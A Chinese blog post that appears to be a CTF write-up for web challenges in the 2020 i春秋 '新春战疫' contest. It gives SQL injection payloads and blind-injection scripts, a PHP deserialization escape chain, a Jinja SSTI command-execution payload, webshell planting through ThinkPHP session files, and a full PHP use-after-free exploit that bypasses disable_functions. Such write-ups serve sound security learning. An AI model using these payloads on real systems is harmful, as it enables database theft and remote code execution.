2020新春战疫网络安全公益赛部分web writeup

原创

qq_41575340 于 2020-02-25 14:43:27 发布 1238 收藏 2
分类专栏： writeup 文章标签： 安全

前言

最近因为疫情，在家里都没怎么出门，正好i春秋平台举办了`2020新春战疫网络安全公益赛`。学到了一些骚姿势，师傅们都tql了。。。

DAY1

简单的招聘系统

打开页面发现是一个登陆框，直接注册账号登陆进去。发现需要管理员登陆，才能解锁新功能。

在那里xss了半天，没有结果。。。。

最后重新回到登陆页面，使用万能密码登陆，发现能登进去，但是是我刚刚注册的账号，于是重新下发题目，，直接万能密码登陆，发现成功登陆了管理员的账号。

在新功能页面，发现存在注入，可以通过联合注入
没有任何过滤，就是正常的联合注入，能够注出`flag`
测试发现回显的字段在2

```
1' union select 1,database(),3,4,5#
nzhaopin

1' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()#
backup,flag,user

1' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database()#

id,safekey,profile,id,flaaag,id,username,password,safekey,profile

1' union select 1,group_concat(flaaag),3,4,5 from flag#
flag{9cbb834c-0562-4503-a703-0d2092a220bc}
```

ezupload

比较简单的一道题目
打开发现存在文件上传，可以直接上传木马文件。。。

然后执行`system('/readflag');`就可以得到`flag`了

看了源码，发现是代码写翻车了(2333333)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g50fFt8M-1582612938441)
(https://s2.ax1x.com/2020/02/24/33BYJx.png)]

盲注

打开页面发现源码：

```
<?php
   # flag在fl4g里
   include 'waf.php';
   header("Content-type: text/html; charset=utf-8");
   $db = new mysql();

   $id = $_GET['id'];

   if ($id) {
       if(check_sql($id)){
           exit();
       } else {
           $sql = "select * from flllllllag where id=$id";
           $db->query($sql);
       }
   }
   highlight_file(__FILE__);
```

这里我们发现是一个注入，还有`waf`会对输出的参数进行过滤。 最主要的是这里没有任何的回显数据。。。 我们可以考虑的是延时注入。。
`?id=if(1,sleep(3),1)` 可以造成延时的效果。

测试发现过滤了好多东西：`' % = < > * into load_file outfile like union select insert`

发现过滤了一些运算符，我们可以用`REGEXP`来代替。

这里告诉了我们`flag在fl4g里` 也省去了我们很多步骤，能够直接获取`flag`

大致试这个思路 `1 and if(fl4g REGEXP "a",sleep(4),1)%23`，
脚本：

```
import requests
import time


url = "http://13922ac12da24dc2863fae519bd12b33160484bcc8a748bd.changame.ichunqiu.com/?id="


str_1 = '0123456789abcdefgl[]-'
flag= 'flag{'
for j in range(100):
 print j
 for i in str_1:
  payload = '1%20and%20if(fl4g%20REGEXP%20"'+flag+i+'",sleep(5),1)%23'
  url_1 = url +payload
  try:
   res = requests.get(url_1,timeout=3)
  except requests.exceptions.ReadTimeout:
   flag += i
   print flag
   break



flag{efa5f746-1914-4013-94c6-44f8184985dd}
```

babyphp

打开页面，是一个登陆页面，尝试万能密码登陆无果，然后进行目录扫描，发现源码`www.zip`
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hCYqgmU9-1582612938443)(https://s2.ax1x.com/2020/02/23/33JS2j.png)]

对源码进行审计：

update.php

```
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面，上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
 echo "你还没有登陆呢！";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
 require_once("flag.php");
 echo $flag;
}

?>
```

只要登陆成功即可获得`flag`,所以我们要想办法构造`POP链`

我们来看一下`User类`

```
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
   ...
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where
id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
```

`User类`里的`getNewInfo`有一个过滤，就是替换一些危险的函数
`User类`存在`__destruct`和`__toString`两个魔术方法。`destruct`直接是文件读取的，而`__toString`是表示当`User`当做字符串打出来的时候就会调用这个函数，`$this->nickname->update($this->age);`
我们查找一下`update`方法

```
class dbCtrl
{
    public function update($sql)
    {
        //还没来得及写
    }
}
```

发现里面没有任何功能，我们就有搜索了一下`__call`魔术方法
`Info`中存在一个`__call`所以当调用`$Info->update`的时候由于`Info类`中没有`update`这个方法，所以会触发魔术方法`__call`

```
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
```

这个`__call`魔术方法会调用`echo $this->CtrlCase->login($argument[0]);`

发现`dbCtrl`类有`login`方法

```
class dbCtrl
{
    ...
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败，错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误! ');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}
```

这里发现这里的`login($sql)`是可以被我们控制的。我们可以进行注入得到管理员的密码。

我们看一下这个`Info类`，

```
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
```

发现我们能控制的参数只有`age`和`nickname`然而这里还多出来了一个属性`$CtrlCase`，如果我们利用反序列化字符逃逸，是可以控制这个属性的。正好`safe`这个函数给我们反序列化逃逸有了可能。

构造一下：

```
<?php
error_reporting(0);
session_start();

class dbCtrl
{
    public $token;
    public function __construct(){
    $this->token = 'admin';
    }
}

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
Class Info{
    public $CtrlCase;
    public function __construct(){
        $this->CtrlCase = new dbCtrl();
    }
}
Class User{
    public $nickname=null;
    public $age=null;
    public function __construct(){
        $this->nickname = new Info();
        $this->age='select password,id from user where username="admin"';
    }
}
Class UpdateHelper{
    public $sql;

    public function __construct(){
        $this->sql= new User();
    }
}

$a = new UpdateHelper();

// echo serialize($a);

$res = '";s:8:"CtrlCase";' . serialize($a) . '}' . "\n";

echo $res;

//";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:
6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}s:3:"age";s:51:"select password,id from user where username="admin"";}}}
```

这个`payload`一个222个字符。一个`*`被过滤成`hacker`后可以挤出5个字符，选择44个`*`和三个`union`，最终组成了`payload`

```
age=1&nickname=**********************************************unionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3
:"sql";O:4:"User":2:{s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}s:3:"
age";s:51:"select password,id from user where username="admin"";}}}
```

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-On4sjUf8-1582612938447)
(https://s2.ax1x.com/2020/02/24/330qqH.png)]

在线解码就可以得到管理员的密码，登陆就i可以得到`flag`了

```
flag{aa934a2e-666f-4669-bf94-1e6c6e6d9397}
```

DAY2

easysqli_copy

打开题目，发现给出了源码：

```
<?php
   function check($str)
   {
       if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$mat
ches))
       {
           print_r($matches);
           return 0;
       }
       else
       {
           return 1;
       }
   }
   try
   {
       $db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
   }
   catch(Exception $e)
   {
       echo $e->getMessage();
   }
   if(isset($_GET['id']))
   {
       $id = $_GET['id'];
   }
   else
   {
       $test = $db->query("select balabala from table1");
       $res = $test->fetch(PDO::FETCH_ASSOC);
       $id = $res['balabala'];
   }
   if(check($id))
   {
       $query = "select balabala from table1 where 1=?";
       $db->query("set names gbk");
       $row = $db->prepare($query);
       $row->bindParam(1,$id);
       $row->execute();
   }
```

发现采用了PDO模式，想到了一个大佬的文章 PDO场景下的SQL注入探究，发现和这个非常相似。

这里过滤了好多东西

```
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
```

发现正常的注入手段都被过滤了。。
想到可以利用通过转换十六进制来绕过这些限制。
由于页面没有任何回显的地方，所以可以考虑延时注入。
`select sleep(1)`的十六进制表示为：`0x73656C65637420736C656570283129`

```
$db->query("set names gbk");
```

看到这里设置的字符集为`gbk`,首先想到的就是宽字节注入。

综上，测试发现：

```
id=1%df%27%20;set%20@x=0x73656C65637420736C656570283129;prepare%20a%20from%20@x;execute%20a;
```

这样能够得到延时的效果

脚本：

```
import requests
import re
import time
import sys

reload(sys)
sys.setdefaultencoding("utf8")


def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

def hex_to_str(s):
    return ''.join([chr(i) for i in [int(b, 16) for b in s.split(' ')]])


url = "http://c8a6cd9388a04664b7695f43a2489372bae05b16de4e4793.changame.ichunqiu.com//?id=1%df%27%20;set%20@x=0x
"
flag = ""
for j in range(1,100):
 print j
 for i in range(32,128):
  # sql = 'select if((ascii(substr(database(),'+str(j)+',1))>'+str(i)+'),1,sleep(100))'
  #payload="select if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_
schema=database()),"+str(j)+",1))="+str(i)+"),sleep(4),1)"
    #print(payload)
    #payload="select if((ascii(substr((select group_concat(column_name) from information_schema.columns where ta
ble_name='table1'),"+str(j)+",1))="+str(i)+"),sleep(4),1)"
  sql = "select if((ascii(substr((select group_concat(fllllll4g) from table1),"+str(j)+",1))="+str(i)+"),sleep(4
),1)"
  # print sql
  hex_sql = str_to_hex(sql)
  url_1 = url+hex_sql+';prepare%20a%20from%20@x;execute%20a;'
  # print url_1
  # exit()
  try:
   res = requests.get(url_1,timeout=4)
  except requests.exceptions.ReadTimeout:
   flag +=chr(i)
   print flag
   break
```

blacklist

打开题目发现和强网杯的一道题目特别相似。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-h28g1KjF-1582612938452)
(https://s2.ax1x.com/2020/02/22/3Q83gx.png)]
但是这个题目的过滤更加严谨：
将上次强网杯那道题的思路都给过滤了。。

```
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
```

我们可以查到表名 payload:`-1';show tables;`：
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9ZiughAA-1582612938455)
(https://s2.ax1x.com/2020/02/22/3QGcS1.png)]

我们可以发现`flag`所在的表

通过查阅资料，发现了一个有趣的东西 `handler` Mysql查询语句-handler

`handler`的使用方法：

```
mysql> handler user open;
Query OK, 0 rows affected (0.00 sec)

mysql> handler user read first;
+----+-------+-------+
| id | name  | pass  |
+----+-------+-------+
|  1 | admin | admin |
+----+-------+-------+
1 row in set (0.00 sec)

mysql> handler user read next;
+----+------+------+
| id | name | pass |
+----+------+------+
|  2 | root | root |
+----+------+------+
1 row in set (0.00 sec)

mysql> handler user close;
Query OK, 0 rows affected (0.00 sec)
```

我们可以如法炮制一下。

得到payload:

```
-1';handler `FlagHere` open;handler `FlagHere` read first;#
```

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JvDZARVZ-1582612938457)(https://s2.ax1x.com/2020/02/22/3QJpfs.png)]

Ezsqli

打开题目
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZT5HMbwO-1582612938462)(https://s2.ax1x.com/2020/02/22/3QthwT.png)]

发现 输入`1` 回显 `Hello Nu1L`

输入`2` 回显`Hello CQGAME`

当我们输入 `2-1` 回显 `Hello Nu1L`

发现存在注入点。`2-(ascii(substr(database(),1,1))>1)`这样可以探测到数据库名。

这其中也过滤了一些字符串

```
sleep,instr,benchmark,format,insert,bin,substring,ord,and,in,or,xor
```

其中`union`和`select`单独使用不会被过滤，一起使用会被判定非法字符。。。

由于过滤了`in`，我们就无法使用`information_schema`这个库来查询我们想要的表名和字段名了。

我们需要了解一下MySQL5.7的新特性

由于performance_schema过于发杂，所以mysql在5.7版本中新增了sys schemma，基础数据来自于performance_chema和information_schema两个库，本身数据库不存储数据。

我也找到了一篇文章bypass information_schema

通过文章上说讲我们可以通过`sys.schema_table_statistics_with_buffer`来查询表名。
构造payload:

```
2-(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),1,1))>1)
```

这样我们就可以构造出来表名`f1ag_1s_h3r3_hhhhh`。

在我们知道表名的情况下，原来的想法是可以进行无列明注入的，但是过滤了`union select` `join`等 弄得很难受

尝试之间发现：
`2 - (ascii(substr((select count(*) f1ag_1s_h3r3_hhhhh),1,1))=49)` 可以得到表中只有一条数据

`2 - (ascii(substr((select count(id) f1ag_1s_h3r3_hhhhh),1,1))=49)` 可以的得到表存在`id`值为`1`

在尝试中，发现了一个骚姿势：

```
mysql> select (select 1,0x01,3)>(select * from user limit 1);
+---------------------------------------------+
| (select 1,0x01,3)>(select * from user limit 1) |
+---------------------------------------------+
|                                           0 |
+---------------------------------------------+
1 row in set (0.00 sec)

mysql> select (select 1,0xff,3)>(select * from user limit 1);
+---------------------------------------------+
| (select 1,0xff,3)>(select * from user limit 1) |
+---------------------------------------------+
|                                           1 |
+---------------------------------------------+
1 row in set (0.00 sec)
```

于是可以尝试得到flag:
payload:

```
2-(select (select 1,0x01)>(select * from f1ag_1s_h3r3_hhhhh limit 1))
```

最后附上脚本：

```
import requests


def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

url = "http://86ad8e55dd3244b488826b4cf0924ce4b5a885066be143a0.changame.ichunqiu.com/index.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}


flag=''


for j in range(1,100):
    for i in range(32,126):
        print i
        payload = "id=2-(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buf
fer where table_schema=database()),"+str(j)+",1))<"+str(i)+")"
        # a = str_to_hex(chr(i))
        # payload = "id=2-(select (select 1,0x"+str_to_hex(flag)+a+")>(select * from f1ag_1s_h3r3_hhhhh limit 1)
)"
        res = requests.post(url=url,data=payload,headers=headers)
        # print payload
        # print res.text
        # exit()
        if "Hello Nu1L" in res.text:
                flag += chr(i-1)
                print flag
                break
```

DAY3

Flaskapp

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-m51sJD2h-1582612938467)(https://s2.ax1x.com/2020/02/23/33i3p4.png)]

这是一个base64的加密解密网站

猜测试ssti

`${{1+1}}`将其base64编码 然后再网站上用解密工具解码得到：

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oQvZHhE7-1582612938469)(https://s2.ax1x.com/2020/02/23/33AI3D.png)]

发现有回显，然后就试构造payload:执行命令了。。

这里面也有一些过滤，当输入的存在非法字符时，
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6kSEaSbK-1582612938473)(https://s2.ax1x.com/2020/02/23/33EHRU.png)]

得到payload:`{{{}.__class__.__base__.__subclasses__()[103].__init__.__globals__['__builtins__']['ev'+'al']("__imp"+"ort_"+"_('o"+"s').po"+"pen('ls').read()")}}`

能够执行命令：
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H0Ts0H5u-1582612938476)
(https://s2.ax1x.com/2020/02/23/33Az8S.png)]

读`flag`文件: `{{{}.__class__.__base__.__subclasses__()[103].__init__.__globals__['__builtins__']['ev'+'al']("__imp"+"ort_"+"_('o"+"s').po"+"pen('cat this_is_the_fl'+'ag.txt').read()")}}`

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-p8wbqGOW-1582612938480)
(https://s2.ax1x.com/2020/02/23/33Vomd.png)]

easy_thinking

打开题目：
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-G5WAACgo-1582612938483)
(https://s2.ax1x.com/2020/02/23/33np0H.png)]

发现存在源码`www.zip`，通过测试发现：
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BcNRd6GG-1582612938485)
(https://s2.ax1x.com/2020/02/23/33utRP.png)]

是个`thinkphp6.0.0`这个版本前一段刚爆出来了一个漏洞参考链接，探测一波。

我们正常的注册，登陆，发现页面存在查找功能，但是什么也查不到。。。

在`http://123.57.212.112:7892/runtime/session/`这个目录下，我们找到了存放`session`的文件。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-x0kafR9B-1582612938486)
(https://s2.ax1x.com/2020/02/23/33KVeg.png)]

打开对应的文件，发现里面存储的时我们刚刚查找的内容。

于是我们可以上传一个木马文件。

在我们登陆时，修改一下`PHPSESSID`的值，改成`102cf8246d140a73584c0e6c02b8.php`，登陆成功之后就会在`http://123.57.212.112:7892/runtime/session/`这个目录下，找到这个文件，然后就是写马进去。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lwSAcfop-1582612938487)
(https://s2.ax1x.com/2020/02/23/33K2tA.png)]

访问这个文件，发现成功写入木马：

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YjCGEven-1582612938488)
(https://s2.ax1x.com/2020/02/23/33K77Q.png)]

但是执行不了系统命令。。。因为`disable_functions`
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fbiT7iz4-1582612938489)
(https://s2.ax1x.com/2020/02/23/33KLhn.png)]
这个禁止使用的太多了`mail,error_log`这些也被禁用了，只好拿出祖传的神器了。。。

```
<?php
pwn("cd / &&./readflag");
function pwn($cmd) {
    global $abc, $helper;
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
```

```
    return $address;
}
function ptr2str($ptr, $m = 8) {
    $out = "";
    for ($i=0; $i < $m; $i++) {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}
function write(&$str, $p, $v, $n = 8) {
    $i = 0;
    for($i = 0; $i < $n; $i++) {
        $str[$p + $i] = chr($v & 0xff);
        $v >>= 8;
    }
}
function leak($addr, $p = 0, $s = 8) {
    global $abc, $helper;
    write($abc, 0x68, $addr + $p - 0x10);
    $leak = strlen($helper->a);
    if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
    return $leak;
}
function parse_elf($base) {
    $e_type = leak($base, 0x10, 2);
    $e_phoff = leak($base, 0x20);
    $e_phentsize = leak($base, 0x36, 2);
    $e_phnum = leak($base, 0x38, 2);
    for($i = 0; $i < $e_phnum; $i++) {
        $header = $base + $e_phoff + $i * $e_phentsize;
        $p_type  = leak($header, 0, 4);
        $p_flags = leak($header, 4, 4);
        $p_vaddr = leak($header, 0x10);
        $p_memsz = leak($header, 0x28);
        if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
            # handle pie
            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
            $data_size = $p_memsz;
        } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
            $text_size = $p_memsz;
        }
    }
    if(!$data_addr || !$text_size || !$data_size)
        return false;
    return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
    list($data_addr, $text_size, $data_size) = $elf;
    for($i = 0; $i < $data_size / 8; $i++) {
        $leak = leak($data_addr, $i * 8);
        if($leak - $base > 0 && $leak - $base < $text_size) {
            $deref = leak($leak);
            # 'constant' constant check
            if($deref != 0x746e6174736e6f63)
                continue;
        } else continue;
        $leak = leak($data_addr, ($i + 4) * 8);
        if($leak - $base > 0 && $leak - $base < $text_size) {
```

```
            $deref = leak($leak);
            # 'bin2hex' constant check
            if($deref != 0x786568326e6962)
                continue;
        } else continue;
        return $data_addr + $i * 8;
    }
}
function get_binary_base($binary_leak) {
    $base = 0;
    $start = $binary_leak & 0xfffffffffffff000;
    for($i = 0; $i < 0x1000; $i++) {
        $addr = $start - 0x1000 * $i;
        $leak = leak($addr, 0, 7);
        if($leak == 0x10102464c457f) { # ELF header
            return $addr;
        }
    }
}
function get_system($basic_funcs) {
    $addr = $basic_funcs;
    do {
        $f_entry = leak($addr);
        $f_name = leak($f_entry, 0, 6);
        if($f_name == 0x6d6574737973) { # system
            return leak($addr + 8);
        }
        $addr += 0x20;
    } while($f_entry != 0);
    return false;
}
class ryat {
    var $ryat;
    var $chtg;

    function __destruct()
    {
        $this->chtg = $this->ryat;
        $this->ryat = 1;
    }
}
class Helper {
    public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
    die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
    $contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
```

```
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
    ($helper->b)($cmd);
    exit();
}
?>
```

将这个上传到服务器，就能执行命令了，访问就得到了`flag`。

```
flag{4424232f-959f-4923-b693-cd9b3e7e316f}
```